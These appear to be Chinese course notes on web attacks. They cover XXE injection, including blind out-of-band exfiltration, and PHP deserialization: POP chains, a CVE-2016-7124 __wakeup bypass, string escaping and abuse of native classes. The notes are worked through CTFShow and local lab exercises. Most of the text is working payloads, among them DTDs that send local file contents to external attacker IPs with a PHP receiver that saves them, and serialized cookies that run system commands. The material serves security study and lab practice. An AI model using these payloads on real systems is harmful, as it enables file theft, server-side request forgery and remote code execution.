更改请求数据格式:Content-Type
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
#XML&XXE-白盒-CMS&PHPSHE&无回显
审计流程:
1、漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxml调用了pe_getxml
4、notify_url调用了wechat_getxml
访问notify_url文件触发wechat_getxml函数,构造Paylod测试
先尝试读取文件,无回显后带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">
%file;
]>
<root>&send;</root>
然后带外传递数据解决无回显:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

➢ XML&XXE-传输-原理&探针&利用&玩法
格式
抓包查看xml的传输格式

下面是xml、一般、json的格式
<user><username>admin</username><password>123456</password></user>
usernameusername=admin&password=123456
{
user{
username : "admin",
password : "123456"
}
}
客户端:json发送数据服务端:json解析数据
客户端:xml发送数据服务端:xml解析数据
查看返回格式也是xml

抓包修改为恶意数据
<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt"> 创建test,读取1.txt
]>
<user><username>&test;</username><password>xiaodi</password></user>

黑盒发现
1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
无回显
外带
判断有无回显利用
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://45ik59.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

或者监听


外部引用实体dtd
判断有无回显利用
自己服务器新建dtd文件,写入:
<!ENTITY send SYSTEM "file:///d:/1.txt">
抓包修改
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://8.135.236.28/anaxa.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

读到了
无回显读文件
get.php:
<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
写到自己服务器
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://8.135.236.28/get.php?file=%file;'>"> 创建all,一个字符串(将里面的地址改为内网地址,访问内网)。创建一个参数实体 %all,%all 包含一个普通实体 send,send 实体是一个HTTP请求URL,其中包含 %file;(即文件内容)。
抓包修改
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://8.135.236.28/test.dtd"> 远程访问test.dtd,
%remote;
%all; 执行all里面的字符串,访问下面加上了上面file读取的内容这个路径`]>
<root>&send;</root> 引用标签,执行send


流程:
- 在服务器上部署两个文件:
get.php- 用于接收和保存数据test.dtd- 外部DTD文件,用于构造攻击载荷
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt"> 在目标服务器上创建一个参数实体 %file,读取 D:/1.txt 文件内容并存储在 %file 实体中
<!ENTITY % remote SYSTEM "http://8.135.236.28/test.dtd"> 目标服务器向你的服务器请求 test.dtd 文件
%remote; 解析并执行从你的服务器加载的 test.dtd 内容
%all; 执行 %all,创建 send 实体,此时 send = http://8.135.236.28/get.php?file=[文件内容]
]>
<root>&send;</root> 解析 &send; 实体,目标服务器向你的服务器发送HTTP GET请求
目标服务器 D:/1.txt
→ [文件内容]
→ XML解析器 %file 实体
→ HTTP请求参数
→ 你的服务器 get.php
→ file.txt
➢ XML&XXE-黑盒-JS&黑盒测试&类型修改
➢ XML&XXE-白盒-CMS&PHPSHE&无回显
白盒发现
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
看:传输xml的格式+对xml的解析
审计流程:
1、漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxml调用了pe_getxml
4、notify_url调用了wechat_getxml
访问notify_url文件触发wechat_getxml函数,构造Paylod测试
先尝试读取文件,无回显后带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn">
%file;
]>
<root>&send;</root>
然后带外传递数据解决无回显:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
PHPSHE
资料收集一下有关php xml的函数

去源代码里面搜一搜有没有这个

有,定位

pe_getxml


尝试访问一下这个文件,复制路径

抓包尝试payload,看看有没有回显,读取文件(假设知道这个文件路径)
<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>

没有,用dnslog
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://et09my.dnslog.cn">
%file;
]>
<root>&send;</root>
按理说这里应该就是个无回显的,可能因为版本原因我测试的没有,自己找的一个版本
无回显的话那么就是用无回显的读取文件了
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://8.135.236.28/test.dtd"> 远程访问test.dtd,
%remote;
%all; 执行all里面的字符串,访问下面加上了上面file读取的内容这个路径`]>
<root>&send;</root> 引用标签,执行send
读取的文件里面要是有空格会失败,这时候就能用base64编码来读取,用文件包含的伪协议
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % remote SYSTEM "http://8.135.236.28/test.dtd"> 远程访问test.dtd,
%remote;
%all; 执行all里面的字符串,访问下面加上了上面file读取的内容这个路径`]>
<root>&send;</root> 引用标签,执行send
注意这里的1.txt相对路径,需要在代码执行的那个目录下面
第60天:WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改
1、什么是反序列化操作? - 类型转换
- PHP & JavaEE & Python(见图)
方便:数据的传输与解析
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将对象转换成一个字符串
unserialize() //将字符串还原成一个对象
2、常见PHP魔术方法?- 对象逻辑(见图)
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
3、为什么会出现安全漏洞?
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
<?php
class B{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
4、反序列化漏洞如何利用?- POP链构造
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
-反序列化常见起点(见图)
-反序列化常见跳板(见图)
-反序列化常见终点(见图)
#CTFSHOW-训练链构造
254-对象引用执行逻辑
username=xxxxxx&password=xxxxxx
255-反序列化变量修改1
CODE:
<?php
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
256-反序列化参数修改2
CODE:
<?php
class ctfShowUser{
public $username='xiaodi';
public $password='xiaodisec';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
GET:username=xiaodi&password=xiaodisec
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xiaodi%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22xiaodisec%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
257-反序列化参数修改&对象调用逻辑
CODE:
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser));
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
258-反序列化参数修改&对象调用逻辑&正则
CODE:
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D




➢ PHP-DEMO1-序列化和反序列化
序列化

1
反序列化


➢ PHP-DEMO2-魔术方法触发规则
construct(): //当对象new的时候会自动调用;destruct()://当对象被销毁时会被自动调用


这个是主动销毁,自动销毁就是在程序运行结束后也会销毁

sleep(): //serialize()执行时被自动调用


只有使用了serialize才会调用__sleep


wakeup(): //unserialize()时会被自动调用


使用unserialize会调用__wakeup


invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用


创建对象并且当作函数去调用就会触发__invoke
toString(): //把类当作字符串使用时触发


创建对象,用echo输出就会被当作字符串输出,那么就会调用__toString
call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用call函数


当去调用一个不存在的xiaodi方法时就会触发__call


get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用get函数


输出了对象存在的成员变量,没有调用__get,只有使用了不存在的成员变量才会调用__get


set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用set函数


创建对象和属性,属性存在就能直接赋值给对象,若属性不存在那么就会调用__set


isset(): //在不可访问的属性上调用isset()或empty()触发
“不可访问的属性”包括两种情况:
- 私有属性:在类外部访问时。
- 不存在的属性:无论在任何作用域(类内部或外部)。


当变量是public也就是共有的时候可以调用,私有的时候就不能调用


这里的1代表isset被设置了,如果没有被设置那么就是0
unset(): //在不可访问的属性上使用unset()时触发


当用 unset() 函数销毁一个不可访问的属性时,__unset() 会被自动调用
➢ PHP-DEMO3-反序列化漏洞产生

调用B来实现对象创建后销毁触发__destruct执行cmd命令ipconfig

如果$b=new B();不存在那么就不会触发
利用:
新建pop.php文件,将代码复制过来序列化

运行

O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}
这个时候的3.php没有调用B,所以是看不到输出的,因为没有触发__destruct
在后面加上参数x并传入O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}

也可以改其他命令

流程:
请求传递参数
URL: http://example.com/test.php?x=O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}
php代码执行
unserialize($_GET['x']);
// 相当于执行:
unserialize('O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}');
反序列化过程
- PHP 根据字符串
O:1:"B"识别出要创建 B 类的对象 - 读取属性
{s:3:"cmd";s:8:"ipconfig";}并赋值 - 创建出的对象相当于:
$temp_obj = new B();
$temp_obj->cmd = 'ipconfig';
➢ PHP-CTFSHOW-POP触发链构造
255-反序列化变量修改1
源代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip() {
return $this->isVip;
}
public function login($u,$p) {
return $this->username==$u&&$this->password==$p;
}
public function vipOneKeyGetFlag() {
if($this->isVip) {
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)) {
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)) {
if($user->checkVip()) {
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
关键部分:
$user = unserialize($_COOKIE['user']);
这里的unserialize用在了cookie,并且$isVip一直是false,就需要修改为ture并且用serialize序列化输出,得到的结果放到cookie,代码执行unserialize检查到$isVip为true就ok
pop链的构造:只要需要修改的地方,这里看源代码只需要将$isVip修改为ture
CODE:
<?php
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
传参数username=xxxxxx&password=xxxxxx
改cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D就是运行code的运行结果url编码
256-反序列化参数修改2
源代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip() {
return $this->isVip;
}
public function login($u,$p) {
return $this->username==$u&&$this->password==$p;
}
public function vipOneKeyGetFlag() {
if($this->isVip) {
global $flag;
if($this->username!==$this->password) {
echo "your flag is ".$flag;
} else {
echo "username and password cannot be the same";
}
} else {
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)) {
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)) {
if($user->checkVip()) {
$user->vipOneKeyGetFlag();
} else {
echo "no vip, no flag";
}
} else {
echo "login failed";
}
}
?>
这个和上一关类似,只是加上两个要修改的地方username和password
<?php
class ctfShowUser{
public $username='xiaodi';
public $password='xiaodisec';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
257-反序列化参数修改&对象调用逻辑
源代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = false;
private $class = 'info';
public function __construct(){
$this->class = new info();
}
public function login($u,$p){
return $this->username == $u && $this->password == $p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user = 'xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username = $_GET['username'];
$password = $_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
?>
这里有eval函数,需要调用eval函数去执行查看flag的命令,就可以修改__construct里面的info,修改为backDoor
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser));
?>
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D
结果也是拿去cookie,参数username和password依旧是xxxxx
258-反序列化参数修改&对象调用逻辑&正则
源代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
?>
正则表达式:
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
这个正则表达式:
[oc]: 匹配字母o或c:: 匹配冒号\d+: 匹配一个或多个数字:: 匹配冒号/i: 不区分大小写
会匹配:
O:11:(对象序列化)C:11:(自定义序列化)o:11:(小写)c:5:等
用:+代替o后面的:
第61天:WEB攻防-PHP反序列化&原生类TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征
#PHP-属性类型-共有&私有&保护
1、对象变量属性:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
2、序列化数据显示:
public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
public $name="xiaodi";
private $age="31";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>
#PHP-绕过漏洞-CVE&字符串逃逸
1、CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
Demo:见CVE.PHP与版本切换演示
案例:
[极客大挑战 2019]PHP
1、下载源码分析,触发flag条件
2、分析会触发调用__wakeup 强制username值
3、利用语言漏洞绕过 CVE-2016-7124
4、构造payload后 修改满足漏洞条件触发
Payload:
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
2、字符串逃逸
字符变多-str1.php str1-pop.php
字符变少-str2.php str2-pop.php
案例——CTFSHOW-Web262(逃逸解法)
#PHP-原生类Tips-获取&利用&配合
参考案例:https://www.anquanke.com/post/id/264823
-PHP有那些原生类-见脚本使用
-常见使用的原生类-见参考案例
-原生类该怎么使用-见官方说明
0、生成原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
1、本地Demo-xss
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
-输出对象可调用__toString
-无代码通过原生类Exception
-Exception使用查询编写利用
-通过访问触发输出产生XSS漏洞
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>
2、CTFSHOW-259
-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flag
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
➢ PHP-属性类型-共有&私有&保护


public属性序列化的时候格式是正常成员名
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名
➢ PHP-绕过漏洞-CVE&字符串逃逸
CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
源码:

构造payload
class Test
{
public $sex;
public $name;
public $age;
}
$t=new Test();
echo serialize($t);
运行得到:
O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
传入参数x=O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

怎么绕过wakeup:序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
就可以把对象属性的个数改成大于3的

wakeup没有执行
极客大挑战

备份网站习惯,在后面加www.zip下载网站源码

简单看下来就是username必须是admin,password必须是100,但是因为wakeup一定会被调用,所有admin会被过滤成guest
这里直接把username改成admin然后password改成100就能过关,这里用作wakeup绕过演示所以使用绕过方法
字符串逃逸
增加
正常序列化反序列化

能够正常还原,加上过滤,也就是把username的admin替换成hacker
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}

admin被替换成hakcer,并且反序列化还原不出来
这里假设username必须是admin,后续的话输入admin会被替换成hacker,admin是五位,hacker是六位,但是序列化出来是对应的admin的位数,就是五位,hacker是六位那么从r开始后面的字符长度标识与实际内容不匹配导致PHP解析器混乱,那么就不会反序列化,我们需要让后面的字符被识别才能成功反序列化,解决方法就是数出从失效的字符串开始有几位,那么username的admin就写多少个,后面失效的11字符有47个那么就输入47个admin,一个admin替换成一个hacker,多一位,47个多47位,刚刚好识别完后面所有需要的字符,这里攻击的payload把后面要算进去的字符也加进去了
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
输出就是:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
就相当于只看
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
后面的就不看了
增加相当于就是在被过滤的那个参数后面加上从被过滤的字符串开始的到最后的字符串
源代码:
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
//你必须输入admin
//
//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";
//$u='admin';
//$p='123456';
//无过滤序列化数据数据显示
//$obj = new user($u,$p);
//$obj = serialize($obj);
//echo $obj;
//echo "\n";
//无过滤反序列化数据数据显示
//var_dump(unserialize($obj));
//echo "\n";
//有过滤反序列化数据数据显示
//$obj1 = filter(serialize($obj));
//echo $obj1;
//var_dump(unserialize($obj1));
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
pop:
<?php
class user
{
public $username='admin';
public $password='123456';
public $isVIP='1';
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}
function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}
//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$p='123456';
$obj = new user($u,$p);
//echo serialize($obj);
echo filter(serialize($obj));
url:
http://demo01:6767/61/str1.php?x=O:4:%22user%22:3:{s:8:%22username%22;s:282:%22hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker%22;s:8:%22password%22;s:6:%22123456%22;s:5:%22isVIP%22;i:1;}%22;s:8:%22password%22;s:6:%22123456%22;s:5:%22isVIP%22;i:1;}
减少
这个就是比如admin被过滤成了hack,那么就是减少一位了,没有过滤的时候正常输出是:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"xiaodi";s:5:"isVIP";i:0;}
过滤之后是:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"xiaodi";s:5:"isVIP";i:0;}
因为少了一位,从hack后面开始到xiaodi前面的双引号都是固定的,我们不能控制,需要把这一段算到username里面去补位,一共22位,那么就写22个admin,一共是110位,又因为过滤变成了hack,22个hack是88个,加上password设置为";s:8:"password";s:6:"一共22为,88加22等于110,符合,过滤成功
O:4:"user":3{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
只会看:
O:4:"user":3{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
相当于就是在第二个参数里面加上后面固定的那段字符
源代码:
<?php
class user
{
public $username;
public $password;
public $isVIP;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}
function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}
//$obj = new user('admin','xiaodi');
//echo serialize($obj);
//$obj = filter(serialize($obj));
//echo $obj;
//var_dump(unserialize($obj));
$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}
pop:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hack",$s);
}
//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
//$p='";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$a = new user($u,$p);
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
url:
http://demo01:6767/61/str2.php?x=O:4:%22user%22:3:{s:8:%22username%22;s:110:%22hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack%22;s:8:%22password%22;s:46:%22;s:8:%22password%22;s:6:%22123456%22;s:5:%22isVIP%22;i:1;}%22;s:5:%22isVIP%22;i:0;}
➢ PHP-原生类Tips-获取&利用&配合
